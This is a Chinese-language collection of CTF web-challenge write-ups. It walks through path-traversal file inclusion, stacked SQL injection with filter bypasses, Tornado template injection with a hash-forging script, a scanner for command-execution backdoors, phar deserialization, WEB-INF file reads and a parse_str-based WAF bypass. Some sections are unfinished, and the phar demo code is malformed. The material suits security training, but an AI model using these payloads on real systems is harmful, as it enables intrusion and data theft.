WarmUp
index.php
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<!--source.php-->
<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>
访问source.php
题目源码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
----- A
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
----- A
----- B
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
----- B
----- C
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
----- C
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
题目原型
代码审计
0x00 include $_REQUEST['file']; 存在文件包含漏洞
0x01 A段检测传入的$page是否为白名单中的值
0x02 B段检测$page中?前部分是否为白名单中的值
0x03 C段先对 $_page进行url解码后再检测$_page中?前部分是否为白名单中的值
解题思路
0x00 构造如下基础结构的$_REQUEST['file']进行任意文件读取
payload: ?file=aaa/../bbb
如何理解aaa/../bbb
aaa/表示当前文件同级目录下的文件夹名(不检测该文件是否存在)
../bbb表示aaa/文件夹所在目录的父级目录下的文件名
father
├── aaa(文件夹 不一定要存在)
└── bbb(文件 一定要存在)
0x01 满足 emmm:checkFile($_REQUEST['file']) == True
解题方法
A段无法利用
令B段返回True
payload: ?file=source.php?/../../../../etc/passwd
通过回显知道payload正确，根据hint.php的提示得到flag
payload: ?file=source.php?/../../../../ffffllllaaaagggg
网上有人说include中不能有?，不清楚是什么情况，本人测试中没遇到问题
故也可以利用C段进行?的绕过
payload: ?file=source.php%253f/../../../../ffffllllaaaagggg
别忘了对%进行编码转换为 %25，因为url解析会自动进行url解码
疑问解析
之前有人有疑问表示不清楚目录穿越到底要穿多少层才能到根目录
其实多写几个../就可以了，因为一旦到根目录了，写几个../都还是在根目录上
随便注
先进行简单测试，发现存在过滤
payload: ?inject=' union select 1,2,3--+
return : return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
测试中发现存在堆叠注入
查询当前数据库表结构
payload: ?inject=';show tables;desc `1919810931114514`;desc words;
MariaDB [test]> desc `1919810931114514`; --A
+-------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+--------------+------+-----+---------+-------+
| flag | varchar(100) | NO | | NULL | |
+-------+--------------+------+-----+---------+-------+
1 row in set (0.01 sec)
MariaDB [test]> desc words; --B
+-------+-------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+-------------+------+-----+---------+-------+
| id | int(10) | NO | | NULL | |
| data | varchar(20) | NO | | NULL | |
+-------+-------------+------+-----+---------+-------+
2 rows in set (0.00 sec)
有一个细节在A和B处，这个细节在之后至关重要
A用全数字做表名，在使用时需要用反引号包裹，不然会产生错误，但如果半数字半字符则不需要
MariaDB [test]> desc 0d4y;
+-------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+--------------+------+-----+---------+-------+
| name | varchar(100) | NO | | NULL | |
+-------+--------------+------+-----+---------+-------+
1 row in set (0.01 sec)
MariaDB [test]> desc 1919810931114514;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1919810931114514' at line 1
题目有多种解法，一下进行三种解法的解析
0x00 重命名
通过测试可以猜测后台sql代码
$sql = select id, data from words where id = '{$id}';
解题思路
0x00 把1919810931114514改名为words，之后将1919810931114514中的字段flag改名为id
0x01 利用mysql特性构造' or '1得到flag
解题过程
payloaf: ?inject=';rename table `words` to `w`; rename table `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(255);desc words;
return :
array(6) {
[0]=>
string(2) "id"
[1]=>
string(12) "varchar(255)"
[2]=>
string(3) "YES"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
回显可以判断修改成功
payload: ?inject=1' or '1
return :
array(1) {
[0]=>
string(42) "flag{287b6180-ddd5-43a7-9f38-4d38defd1013}"
}
将payload代入sql语句
$sql = select id, data from words where id = '1' or '1'; =>
$sql = select id, data from words where 1; =>
$sql = select id, data from words;
MySQL ALTER
用于修改数据表名或者修改数据表字段
删除，添加字段
MariaDB [test]> desc 0d4y;
+-------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+--------------+------+-----+---------+-------+
| name | varchar(255) | YES | | NULL | |
+-------+--------------+------+-----+---------+-------+
1 row in set (0.00 sec)
MariaDB [test]> alter table 0d4y add age int;
Query OK, 0 rows affected (0.01 sec)
Records: 0 Duplicates: 0 Warnings: 0
MariaDB [test]> desc 0d4y;
+-------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+--------------+------+-----+---------+-------+
| name | varchar(255) | YES | | NULL | |
| age | int(11) | YES | | NULL | |
+-------+--------------+------+-----+---------+-------+
2 rows in set (0.00 sec)
MariaDB [test]> alter table 0d4y drop age;
Query OK, 0 rows affected (0.01 sec)
Records: 0 Duplicates: 0 Warnings: 0
MariaDB [test]> desc 0d4y;
+-------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+--------------+------+-----+---------+-------+
| name | varchar(255) | YES | | NULL | |
+-------+--------------+------+-----+---------+-------+
1 row in set (0.00 sec)
修改字段
MariaDB [test]> desc 0d4y;
+-------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+--------------+------+-----+---------+-------+
| name | varchar(255) | YES | | NULL | |
+-------+--------------+------+-----+---------+-------+
1 row in set (0.00 sec)
MariaDB [test]> alter table 0d4y modify name varchar(100);
Query OK, 1 row affected (0.02 sec)
Records: 1 Duplicates: 0 Warnings: 0
MariaDB [test]> desc 0d4y;
+-------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+--------------+------+-----+---------+-------+
| name | varchar(100) | YES | | NULL | |
+-------+--------------+------+-----+---------+-------+
1 row in set (0.00 sec)
MariaDB [test]> alter table 0d4y change `name` `id` int;
Query OK, 1 row affected, 1 warning (0.02 sec)
Records: 1 Duplicates: 0 Warnings: 1
MariaDB [test]> desc 0d4y;
+-------+---------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+---------+------+-----+---------+-------+
| id | int(11) | YES | | NULL | |
+-------+---------+------+-----+---------+-------+
1 row in set (0.00 sec)
0x01 预处理
MySQL用户变量定义格式
set @v = xxx;
解题思路
0x00 将查询flag的sql语句预定义
0x01 执行预定义sql语句
解题过程
payload: ?inject=';set @s = concat('s', 'elect * from `1919810931114514`');prepare a from @s; execute a;
return : strstr($inject, "set") && strstr($inject, "prepare")
回显表示set与prepare不能同时存在
payload: ?inject=';Set @s = concat('s', 'elect * from `1919810931114514`');prepare a from @s;execute a;
return :
array(1) {
[0]=>
string(42) "flag{21e33093-12e2-4d51-852a-1db8bcab4ff6}"
}
MySQL PREPARE
PREPARE name from '[my sql sequece]'; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name; //删除预定义SQL语句
MariaDB [test]> prepare flag from "select * from 0d4y";
Query OK, 0 rows affected (0.00 sec)
Statement prepared
MariaDB [test]> execute flag;
+------+
| id |
+------+
| 0 |
+------+
1 row in set (0.00 sec)
MariaDB [test]> drop prepare flag;
Query OK, 0 rows affected (0.00 sec)
easy_tornado
题目提示
-- /flag.txt
flag in /fllllllllllllag
-- /welcome.txt
render
-- /hints.txt
md5(cookie_secret+md5(filename))
解题思路
0x00 render模板渲染暗示存在SSTI服务端模板注入攻击
0x01 handler.settings保存配置选项，包括cookie_secret
解题方法
访问文件时观察url
payload: /file?filename=/welcome.txt&filehash=1ee0dabf22eb0879a60444267ed3e063
存在文件读取点，访问/fllllllllllllag
页面跳转至/error?msg=Error
尝试SSTI
payload: /error?msg={{handler.settings}}
界面回显: {'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '9c83fab7-1b67-404c-9aa8-69453579ac8c'}
exp.py
import hashlib
import requests
def md5(s):
md5 = hashlib.md5()
md5.update(s.encode())
return md5.hexdigest()
filename = "/fllllllllllllag"
cookie_secret = "9c83fab7-1b67-404c-9aa8-69453579ac8c"
filehash = md5(cookie_secret + md5(filename))
url = "http://93dc9c40-c8fc-4f2c-bce7-e28fae7437a6.node2.buuoj.cn.wetolink.com:82/file?filename=%s&filehash=%s" % (filename, filehash)
html = requests.get(url)
print(html.text)
高明的黑客
审计代码
拷贝下源码后发现有3000份文件，审计文件代码发现代码非常混乱
仔细观察可以看到代码中存在非常多的$_GET以及$_POST，以及命令执行函数
$_GET['xd0UXc39w'] = ' ';
assert($_GET['xd0UXc39w'] ?? ' ');
但基本都如上段代码一样无法利用
解题思路
0x00 先测试源码包中是否存在可以执行命令的点
0x01 代码量过大，脚本执行时间可能会过长，开启多线程
解题方法
# encoding: utf-8
import os
import requests
from concurrent.futures.thread import ThreadPoolExecutor
url = "http://localhost/CTF/BUUCTF/SmartHacker/src/"
path = "/Applications/XAMPP/xamppfiles/htdocs/CTF/BUUCTF/SmartHacker/src/"
files = os.listdir(path)
pool = ThreadPoolExecutor(max_workers=5)
def read_file(file):
str = open(path + "/" + file, 'r').read()
# catch GET
start = 0
params = {}
while str.find("$_GET['", start) != -1:
pos2 = str.find("']", str.find("$_GET['", start) + 1)
var = str[str.find("$_GET['", start) + 7: pos2]
start = pos2 + 1
params[var] = 'print "get---";'
# catch POST
start = 0
data = {}
while str.find("$_POST['", start) != -1:
pos2 = str.find("']", str.find("$_POST['", start) + 1)
var = str[str.find("$_POST['", start) + 8: pos2]
start = pos2 + 1
data[var] = 'print post---;'
# eval assert
r = requests.post(url + file, data=data, params=params)
if 'get---' in r.text:
print(file, "found!A!get method")
elif 'post---' in r.text:
print(file, "found!A!post method")
# system
for i in params:
params[i] = 'echo get---;'
for i in data:
data[i] = 'echo post---;'
r = requests.post(url + file, data=data, params=params)
if 'get---' in r.text:
print(file, "found!B!get method")
elif 'post---' in r.text:
print(file, "found!B!post method")
if __name__ == '__main__':
for file in files:
if not os.path.isdir(file):
pool.submit(read_file, file)
脚本结果
xk0SzyKwfzw.php found!B!get method
xk0SzyKwfzw.php中$_GET和system()结合的命令执行漏洞
审计代码
搜索xk0SzyKwfzw.php中的$_GET全局变量，在line 300发此现漏洞
$XnEGfa = $_GET['Efa5BVG'] ?? ' ';
$aYunX = "sY";
$aYunX .= "stEmXnsTcx";
$aYunX = explode('Xn', $aYunX);
$kDxfM = new stdClass();
$kDxfM->gHht = $aYunX[0];
($kDxfM->gHht)($XnEGfa);
payload: /xk0SzyKwfzw.php?Efa5BVG=cat%20/flag
Dropbox(未完成)
上传测试后发现只能上传图片类型文件
抓包
POST /download.php HTTP/1.1
...
Cookie: PHPSESSID=94b78b93ffa19e6bc6d07e0da5307548
Connection: keep-alive
Upgrade-Insecure-Requests: 1
filename=%E5%9B%BE%E7%89%87%E9%A9%AC.png
放包之后会显示文件内容
目录穿越
filename=../../../../../etc/passwd
显示结果
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
...
mysql:x:100:101:mysql:/var/lib/mysql:/sbin/nologin
nginx:x:101:102:nginx:/var/lib/nginx:/sbin/nologin
题目中的主要文件
.
├── class.php
├── delete.php
├── download.php
├── index.php
├── login.php
└── register.php
class.php是核心文件
class.php(简化)
<?php
class User {
public $db;
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
...
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
File类中的close()方法存在RCE vulnerability
Q: 如何利用RCE vulnerability?
代码中并不 unserialize()，但存在文件上传点
Attack PHP Deserialization Vulnerability via Phar
the Phar File Structure
0x00 A Stub
It can be interpreted as a flag and the format is
xxx<?php xxx; __HALT_COMPILER();?>.The front content is not limited, but it must end with__HALT_COMPILER();?>, otherwise the phar extension will not recognize this file as a phar file.
0x01 A Manitest Describing the Contents
A phar file is essentially a compressed file, in which the permissions, attributes and other information of each compressed file are included. This section also stores user-defined meta-data in serialized form, which is the core of the above attacks.
0x02 The File Contents
It is the contents of compressed file.
0x03 A signature for verifying Phar integrity
phar file format only
Demo
Construct a phar file according to the file structure, and PHP has a built-in class to handle related operations
Set the phar.readonly option in php.ini to Off, otherwise the phar file cannot be generated.
class Demo {
@unlink("phar.phar");
$phar = new Phar("phar.phar"); // suffix must be phar
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); // set stub and disguise as gif
$o = new file();
$o->output = "phpinfo();";
$phar->setMetadata($o); // store custom meta-data in manifest
$phar->addFromString("test.txt", "test"); // compressed file
$phar->stopBuffering(); // automatic computation of signature
};
未完成
[RoarCTF 2019]Easy Java
点击 help，跳转到/Download?filename=help.docx，存在任意文件读取漏洞
java.io.FileNotFoundException:{help.docx} // 界面回显
此时读取文件失败，修改请求方法为 post
filename=/WEB-INF/web.xml
...
// 敏感信息
<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
</servlet-mapping>
...
简述 servlet 的 url-pattern 匹配
上述信息中<servlet>首先配置声明一个 servlet，其中包括 servlet 名字以及其对应类名
<servlet-mapping>声明与该 servlet 相应的匹配规则，每个<url-pattern> 代表一个匹配规则
当浏览器发起一个url请求后，该请求发送到servlet容器的时候，容器先会将请求的url减去当前应用上下文的路径作为 servlet 的映射 url，剩下的部分拿来做servlet的映射匹配
filename=/WEB-INF/classes/com/wm/ctf/FlagController.class
下载文件进行反汇编
import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@WebServlet(name = "FlagController")
public class FlagController extends HttpServlet {
String flag = "ZmxhZ3s1ZTNhNzBjMS0xNzk2LTRmNmQtODUyOC05ZmE1MzYzOGNhZTV9Cg==";
protected void doGet(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws ServletException, IOException {
PrintWriter printWriter = paramHttpServletResponse.getWriter();
printWriter.print("<h1>Flag is nearby ~ Come on! ! !</h1>");
}
}
什么是WEB-INF & WEB-INF重要目录和文件
WEB-INF 是 JavaWeb 的安全目录，所谓安全就是客户端无法访问，只有服务端可以访问的目录
-
/WEB-INF/web.xml
Web应用程序配置文件，描述了 servlet 和其他的应用组件配置及命名规则
-
/WEB-INF/classes/
包含站点所有用的 class 文件，包括 servlet class 和非servlet class，他们不能包含在 .jar文件中
-
/WEB-INF/lib/
存放 web 应用需要的各种 JAR 文件
-
/WEB-INF/src/
源码目录，按照包名结构放置各个java文件
-
/WEB-INF/database.properties
数据库配置文件
[RoarCTF 2019]Easy Calc(未完成)
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})
访问calc.php得到后台源码
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
过滤的常用字符
`$^[]'"%20
过滤了单引号，在构造payload时用chr()代替
/calc.php? num=1;var_dump(scandir(chr(47))); // /f1agg
/calc.php? num=1;readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103));
$payload = "/f1agg";
$arr = str_split($payload);
foreach ($arr as $a)
echo "chr(".ord($a).").";
//chr(47).chr(102).chr(49).chr(97).chr(103).chr(103).
payload中有一个很关键的地方 num 前面有一个空格，因为题中存在 WAF，对 num 的值进行了校验，直接传 payload，会返回这啥?算不来，于是利用php字符串解析特性绕过 WAF，此时 WAF 检测到的变量名为%20num，不为 num，不进行校验，但php存储的变量名为 num
利用PHP的字符串解析特性
PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST的过程中会将某些字符删除或用下划线代替
如果一个 IDS/IPS 或 WAF 中有一条规则是当 news_id 参数的值是一个非数字的值则拦截，那么我们就可以用以下语句绕过
%20news[id%00 // 这个变量名的值实际存储在 $_GET["news_id"] 中
parse_str()通常被自动应用于 get 、post 请求和 cookie 中，对 URL 传递入的查询字符串进行解析
通过如下 fuzz 了解parse_str()如何处理特殊字符
foreach(["{chr}foo_bar", "foo{chr}bar", "foo_bar{chr}"] as $k => $arg) {
for($i=0;$i<=255;$i++) {
parse_str(str_replace("{chr}",chr($i),$arg),$o);
if(isset($o["foo_bar"])) {
echo $arg." -> ".bin2hex(chr($i))." (".chr($i).")\n";
} // bin2hex 将字符转为16进制数
}
echo "\n";
}
{chr}foo_bar -> 20 ( )
{chr}foo_bar -> 26 (&)
{chr}foo_bar -> 2b (+)
foo{chr}bar -> 20 ( )
foo{chr}bar -> 2b (+)
foo{chr}bar -> 2e (.)
foo{chr}bar -> 5b ([)
foo{chr}bar -> 5f (_)
foo_bar{chr} -> 00 ()
foo_bar{chr} -> 26 (&)
foo_bar{chr} -> 3d (=)
